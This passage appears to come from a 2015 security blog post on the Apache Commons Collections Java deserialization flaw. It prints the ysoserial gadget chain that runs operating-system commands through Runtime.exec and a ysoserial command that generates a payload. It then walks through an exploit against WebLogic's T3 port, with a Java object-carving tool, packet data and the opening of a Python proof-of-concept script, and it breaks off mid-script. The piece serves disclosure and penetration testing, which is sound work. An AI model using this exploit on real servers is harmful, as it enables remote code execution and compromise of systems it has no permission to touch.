##What Could Possibly Go Wrong?
Now let’s consider what we’ve learned so far in the context of Java web applications and application servers.
Java LOVES sending serialized objects all over the place. For example:
- In HTTP requests – Parameters, ViewState, Cookies, you name it.
- RMI – The extensively used Java RMI protocol is 100% based on serialization
- RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
- JMX – Again, relies on serialized objects being shot over the wire
- Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
Okay, so what you ask? Well what if we knew of an object that implemented a “readObject” method that did something dangerous? What if instead of appending an exclamation point to a user defined string, it could be massaged into running a user defined command on the operating system? That would be pretty bad.
Suppose such a vulnerable object existed, but wasn’t part of “core” Java, but instead just part of a library. Think about the requirements for exploitation:
- That library would need to be on the Java “classpath”
- The application would need to deserialize untrusted user input
We’ve already determined that requirement 2 is very often satisfied. Requirement 1 could be satisfied if we could find such a vulnerability in a commonly used library…
##One Vulnerability to Rule Them All
On January 28th, 2015, the slides for a talk titled “Marshalling Pickles” were posted to slideshare.The talk was given at AppSecCali by Gabriel Lawrence (@gebl) and Chris Frohoff (@frohoff). The world didn’t seem to care.
During their talk, Gabriel and Chris released an unserialize vulnerability in the “commons collections” library that results in remote code execution. This library is EXTREMELY popular in the Java world.
What this means is that any application or application framework that uses it (there are many), and unserializes untrusted data (again many) now has an open CVSS 10.0 vulnerability. This means:
- Defenders – Anyone on your network and potentially the Internet can compromise many of your application servers, including some appliances.
- Pentesters – This vulnerability is amazing. Runs in memory and isn’t going away anytime soon. Remote code execution in many many things including custom applications
- Checkbox Checkers – Uncheck the boxes, you’re probably not compliant anymore (and let’s be honest, you probably never were)
How do you fix it? After nearly a year, the commons-collections framework still has this bug outstanding. You need to manually fix the library by hand by removing class files that are leveraged by the exploit from the Jar file. See “The Fix” section of this post for more detailed information.
Further, Java libraries aren’t like other libraries we’ve seen these types of vulnerability in. For example OpenSSL is usually run as a shared library, so you can update all your RedHat boxes and magically you’re not vulnerable to HeartBleed anymore. Java libraries are a mess in comparison. Every application server comes with its own bundle of libraries, even worse, every application you deploy on the server often comes with its own set as well. To fix this completely, you need to find and update every single library individually.
##The Vulnerability
The unserialize vulnerability is in the commons-collections Java library. If you recall from the Background section, we were looking for a Java object that does something “dangerous” inside of its “readObject” method. This exploit follows a maze of objects, all nested inside each other with the end result being that unserializing the parent causes a command to be run on the system. The following is taken directly from the payload generating code released on github:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
The original presentation was a little light on the details of how this works for those who aren’t too familiar with Java. Matthias Kaiser recently gave a talk and walked through it in a little more detail. I’ll avoid explaining it entirely as we’ll focus more on the applicability of unserialize exploits. The take-away from this is that the “Objects” you see in the code above are the ones required for exploitation. If those aren’t available, this exploit wont work.
The original researchers published code on GitHub to generate payloads.
##How Common Is Commons?
Having a vulnerability in a commonly used library is one thing, but one of the reasons this may not have gotten the attention deserved is that it’s applicability wasn’t well demonstrated. This library is used all over the place. A quick search on GitHub for “commons-collection” yields over 1300 results.
This section will describe a simple process that you can use to identify whether an application might be vulnerable. I’ll use WebLogic as an example.
First, navigate to the directory where your target application is installed, for example, I have WebLogic installed in “/opt/OracleHome”. Next, we want to see if WebLogic comes bundled with the “commons-collections” library, to do this we’ll grep for one of the classes that we know is required by the exploit called “InvokerTransformer”:
root@us-l-breens:~# cd /opt/OracleHome/
root@us-l-breens:/opt/OracleHome# grep -R InvokerTransformer .
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685824694_jenkins.war/META-INF/.WL_internal/cache/jenkins.war/.classinfos/.cache.ser matches
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685824694_jenkins.war/WEB-INF/lib/commons-collections-3.2.1.jar matches
Binary file ./servers/AdminServer/tmp/_WL_user/jenkins/tw9byh/META-INF/.WL_internal/cache/jenkins.war/.classinfos/.cache.ser matches
Binary file ./servers/AdminServer/tmp/_WL_user/jenkins/3c5quy/war/WEB-INF/lib/commons-collections-3.2.1.jar matches
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685776500_jenkins.war/META-INF/.WL_internal/cache/jenkins.war/.classinfos/.cache.ser matches
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685776500_jenkins.war/WEB-INF/lib/commons-collections-3.2.1.jar matches
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685837432_jenkins.war/META-INF/.WL_internal/cache/jenkins.war/.classinfos/.cache.ser matches
Binary file ./servers/AdminServer/tmp/.appmergegen_1446685837432_jenkins.war/WEB-INF/lib/commons-collections-3.2.1.jar matches
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar.bck matches
The above shows that I have multiple instances of the vulnerable library available within WebLogic. The default one sits at “./oracle_common/modules/com.bea.core.apache.commons.collections.jar”. I also installed Jenkins on top of WebLogic, and it came with its own version of the library at “./servers/AdminServer/tmp/.appmergegen_1446685824694_jenkins.war/WEB-INF/lib/commons-collections-3.2.1.jar”.
At this point we’ve determined that the library MIGHT be available to our target at runtime, but this isn’t guaranteed. When the application is run, it may not actually load the JAR file. We’ll go on the assumption that if it’s there, it’s used.
If you’re responsible for defense, now might be a good time to tell dev or ops that they have an issue.
##Exploit Dev for Skiddies
So you found an application or application server that comes bundled with the vulnerable commons library? Then buckle up, this section in combination with the examples should give you enough to develop a working exploit.
###What Am I Looking For?
The first thing you need to do is find a part of the application that takes a serialized object as input. It would help if you knew what a serialized object looked like. Luckily they’re pretty easy to spot. Let’s take a look at the hexdump of some Jenkins traffic:
There are two separate Java objects in the above screenshot.
- One is base64 encoded and can be seen in the rightmost column beginning with “rO0AB”.
- The other is raw binary going over the wire, so we’ll have to look at the hex column in the middle. It begins with the bytes “ac ed 00 05 73 72”.
This is what serialized Java objects look like, they can be identified by this header. They always begin with “ac ed 00 05…” and when that is base64 encoded it comes out as “rO0…”. Keep an eye open for those two strings.
###How Do I Find It
Sometimes the front-end web interface will take serialized objects in HTTP parameters or cookies. In this case, they will be base64 encoded, so look out for the base64 string “rO0..” while running the application through an intercepting proxy like BurpSuite.
In my experience, the most common usage of serialized objects is not through HTTP, but other protocols running on different ports that you aren’t expected to talk to. To list the ports that your application is listening on try this:
root@us-l-breens:/opt# lsof -i -P | grep java | grep LISTEN
java 6923 root 53u IPv6 2136625 0t0 TCP *:8080 (LISTEN)
java 6923 root 58u IPv6 2136629 0t0 TCP *:8009 (LISTEN)
java 6923 root 125u IPv6 2138434 0t0 TCP localhost:8005 (LISTEN)
java 6923 root 268u IPv6 2138692 0t0 TCP *:33758 (LISTEN)
java 6923 root 272u IPv6 2137594 0t0 TCP *:53289 (LISTEN)
The above shows the results from my Tomcat server running Jenkins. Those high numbered ports, and port 8009 might be interesting and would be worth Googling or otherwise looking into.
If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit
How do you actually stimulate traffic to these ports? Well they must be open for a reason. Open up Wireshark, see if anything that looks like a serialized object is going into them. Try running some of the scripts or command-line tools that come with the application or application server. For example Jenkins, WebLogic, and WebSphere all have commandline tools that use serialized objects as we’ll see later.
If the traffic is encrypted, you’re going to need to find a way to read it. Maybe setup a proxy that can handle SSL man in the middle like Burp and relay the traffic through that. An example of this can be seen in the WebSphere exploit.
###Found Serialized Data – Now What?
Now the fun begins.
First let’s generate a payload for testing. Go download the “ysoserial” tool from GitHub. Run it with something like this:
java -jar /path/to/ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/pwned' > payload.out
Now when you’re testing, if you see a file created at /tmp/pwned, you know it ran. Obviously this payload isn’t going to get you very far as a pentester, if you’re doing this professionally, I’ll leave that part up to you.
I’m going to stick to a high level description here because in the next section we’ll get into all the nitty gritty technical details of what to do. The idea is that you want to take whatever you saw happening on the network, and replay that with ONE important change – you want to replace whatever the serialized object was with a payload generated by the “ysoserial” tool.
This sounds easy, and often is, but there can be some “gotchas” along the way. In the next section I’ll describe a few of these and how we dealt with them.
Now for the moment you’ve all been waiting for…
##Exploit 4 – WebLogic
WebLogic was a bit of a headache but really interesting. To be honest, we see it less often in the wild, but it is out there.
I’m not very familiar with WebLogic. The exploit runs against the default install on port 7001 – the default and only listening port. WebLogic is kind of cool because it proxies all requests through this port, HTTP, SNMP, T3, and a few other protocols. Depending what protocol it detects it as, it routes it to the right place.
With that said, it’s possible that this vulnerability could be used against WebLogic servers on the Internet due to the fact that it’s unlikely a firewall will get in your way.
###Vulerability Detection
For anyone who has actually read this far, congratulations, I think you can guess what I’m about to do.
First I grep for the vulnerable classes to see if WebLogic comes bundled with them.
root@us-l-breens:/opt/OracleHome# grep -R InvokerTransformer .
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
Looks like it’s there. Interestingly they renamed the jar file, so if you were just looking for “commons-collections.jar” you might not have found it.
Next we need to find an entry point where we can send serialized objects. I’ve had pretty good luck monitoring the traffic coming from commandline tools so far, so why not try it again.
Just fire up wireshark to watch the traffic, and then run the command to stop the server, I purposely typed the wrong password to make sure we aren’t cheating:
root@us-l-breens:/opt/OracleHome/user_projects/domains/base_domain/bin# ./stopWebLogic.sh
Stopping Weblogic Server...
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
Please enter your username :weblogic
Please enter your password :
Connecting to t3://us-l-breens:7001 with userid weblogic ...
This Exception occurred at Thu Nov 05 18:32:46 EST 2015.
javax.naming.AuthenticationException: User failed to be authenticated. [Root exception is java.lang.SecurityException: User failed to be authenticated.]
Problem invoking WLST - Traceback (innermost last):
File "/opt/OracleHome/user_projects/domains/base_domain/shutdown-AdminServer.py", line 3, in ?
File "<iostream>", line 19, in connect
File "<iostream>", line 553, in raiseWLSTException
WLSTException: Error occurred while performing connect : User failed to be authenticated. : User failed to be authenticated.
Use dumpStack() to view the full stacktrace :
Done
Stopping Derby Server...
Lets take a look at what that generated in Wireshark:
Somewhere about halfway down in that screenshot, we see the magic bytes “ac ed 00 05”.
##Exploit Development
Similar to Jenkins, we’re going to have to wrap our payload in some magic. WebLogic is using the “T3” protocol. The T3 protocol, just like HTTP can transport arbitrary data, and in this case it is carrying serialized Java objects.
Unlike HTTP it’s not very well documented and is a binary protocol, so is extremely finicky. I could lie to you and say this took me 15m to figure out, but it actually took a few hours.
###First Attempt
Looking at the screenshot of the hex dump above, the first packet is pretty easy to replicate, we can just copy the bytes right out of Wireshark and paste them into a Python script, no problem. WebLogic will then respond with the packet highlighted in blue, meaning it’s ready for us to fire over the payload.
Things now get a bit messy. Unlike Jenkins, we don’t have a nice clean place to plug a base64 payload into the binary stream.
A naive but good first attempt would be to copy all the bytes in the second packet before “ac ed 00 05” (this is the start of their serialized object), concatenate our payload onto the end of that, and send it over. The idea here is that the beginning part of the packet doesn’t need to change to accomodate our payload.
Unfortunately this wont quite work. What we need to do is insert our payload into packet without mucking up the T3 protocol that is wrapping the Java object.
###Object Carving
The first thing we need to do is identify where the objects in the packet begin and end. Right now I know that all Java objects begin with “ac ed 00 05”, but this packet consists of more than just Java objects.
To accomplish this, I wrote the following java code:
import java.util.Base64;
import java.io.InputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.OptionalDataException;
import java.io.StreamCorruptedException;
import java.util.Arrays;
public class DecodeObject{
public static void main(String args[]) throws Exception{
int skip=0;
int remainder = 0;
String b64 = args[0];
byte[] bytes = Base64.getDecoder().decode(b64);
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
int origSize = bis.available();
System.out.println("Data Length: "+origSize);
Object o = null;
while(o == null){
try{
bis.reset();
bis.skip(skip);
ObjectInputStream ois = new ObjectInputStream(bis);
o = ois.readObject();
System.out.println("Object found...");
System.out.println(o.getClass().getName());
System.out.println("Bytes skipped: "+skip);
System.out.println("Bytes left: "+bis.available());
skip = origSize - bis.available();
}
catch (StreamCorruptedException ode){
skip = skip+1;
bis.skip(1);
}
catch (OptionalDataException ode){
bis.skip(1);
skip = skip+1;
}
catch (ClassNotFoundException cnf)
{
System.out.println("Object found..."+cnf.getMessage());
System.out.println("Bytes skipped: "+skip);
System.out.println("Bytes left: "+bis.available());
skip = origSize - bis.available();
}
}
}
}
This code reads base64 encoded data from the commandline and will attempt to locate all of the objects. I copied the interesting packet out of Wireshark, base64 encoded it, and then ran the above code to get the following output:
breens@us-l-breens:~/Desktop$ java DecodeObject AAAF9QFlAf//////////AAAAcQAA6mAAAAAYUlE9bFBCMe28Nw2dEVsi2/jvDmamiKsFAnlzcgB4cgF4cgJ4cAAAAAwAAAACAAAAAAAAAAAAAAABAHBwcHBwcAAAAAwAAAACAAAAAAAAAAAAAAABAHAG/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAlJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAKaW1wbFZlbmRvcnEAfgADTAALaW1wbFZlcnNpb25xAH4AA3hwdwIAAHj+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFja2FnZUluZm87TAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABEwACmltcGxWZW5kb3JxAH4ABEwAC2ltcGxWZXJzaW9ucQB+AAR4cHcCAAB4/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAhd2VibG9naWMuY29tbW9uLmludGVybmFsLlBlZXJJbmZvWFR085vJCPECAAdJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoWwAIcGFja2FnZXN0ACdbTHdlYmxvZ2ljL2NvbW1vbi9pbnRlcm5hbC9QYWNrYWdlSW5mbzt4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlZlcnNpb25JbmZvlyJFUWRSRj4CAANbAAhwYWNrYWdlc3EAfgADTAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABUwACmltcGxWZW5kb3JxAH4ABUwAC2ltcGxWZXJzaW9ucQB+AAV4cHcCAAB4/gD//gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3RiEAAAAAAAAAAAAJMTI3LjAuMS4xAAt1cy1sLWJyZWVuc6U8r/EAAAAHAAAbWf///////////////////////////////wB4/gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3HQEWYNfJ8RaIywAJMTI3LjAuMS4xpTyv8QAAAAAAeA==
Data Length: 1525
Object found...weblogic.rjvm.ClassTableEntry
Bytes skipped: 118
Bytes left: 1154
Object found...weblogic.rjvm.ClassTableEntry
Bytes skipped: 375
Bytes left: 745
Object found...weblogic.rjvm.ClassTableEntry
Bytes skipped: 784
Bytes left: 196
Object found...weblogic.rjvm.JVMID
Bytes skipped: 1336
Bytes left: 76
Object found...weblogic.rjvm.JVMID
Bytes skipped: 1453
Bytes left: 0
Using this output, we can draw a few conclusions. First, in the ONE packet, there are contained 5 Java objects. This matches what I expect, if you look for “ac ed 00 05” in the raw binary, you will find 5 occurences.
More interestingly, we can see the exact location in the binary stream of each object, its beginning and end. For example the first object occupies bytes 118 to (1525-1154) = 371. The second object occupies bytes 375 to (1525-745)=780.
So in theory, if we replace one of these objects with our payload from ysoserial, and don’t muck with any of the other bytes, it should all just work…
###One Final Detail
Spoiler alert – it won’t just work. The objects are wrapped inside the “T3” protocol. The very first few bytes of the packet in T3 specify the total message length. If we fail to adjust this length, our payload won’t fit into the message, and when Java tries to unserialize it, it will blow up with an “EOFException”, meaning it hit the end of the file before it was done reading.
How did I figure this out? I attached the NetBeans debugger to the WebLogic process. I then decompiled the WebLogic JAR file that contained the class where the EOFException was originating – this is the code where our message is being processed. I fed NetBeans the decompiled source files and used them to step through the running code. In my experience you can fix anything in Java, even in big clunky proprietary products using this methdology.
###Python Exploit
So let’s put it all together in Python. Obviously I won’t be pasting the full payload since it’s just too large, but the full code can be found on GitHub.
First, we need to establish a TCP connection to the target:
#!/usr/bin/python
#Usage: ./poc.py host port /path/to/payload
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
Next, if you recall from the packet dump in Wireshark, we have to send a message to tell WebLogic that we want to talk using the T3 protocol. After we send the message, we also need to wait for WebLogic’s response:
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
Next we need to create and send our payload. This is obviously the tricky part. The payload will be composed in three chunks. The first chunk will be all of the bytes that come before the output of “ysoserial”. I decided to replace the SECOND object in the stream, meaning the first chunk of my payload will contain all the T3 headers, and the first Java object that was in the original data.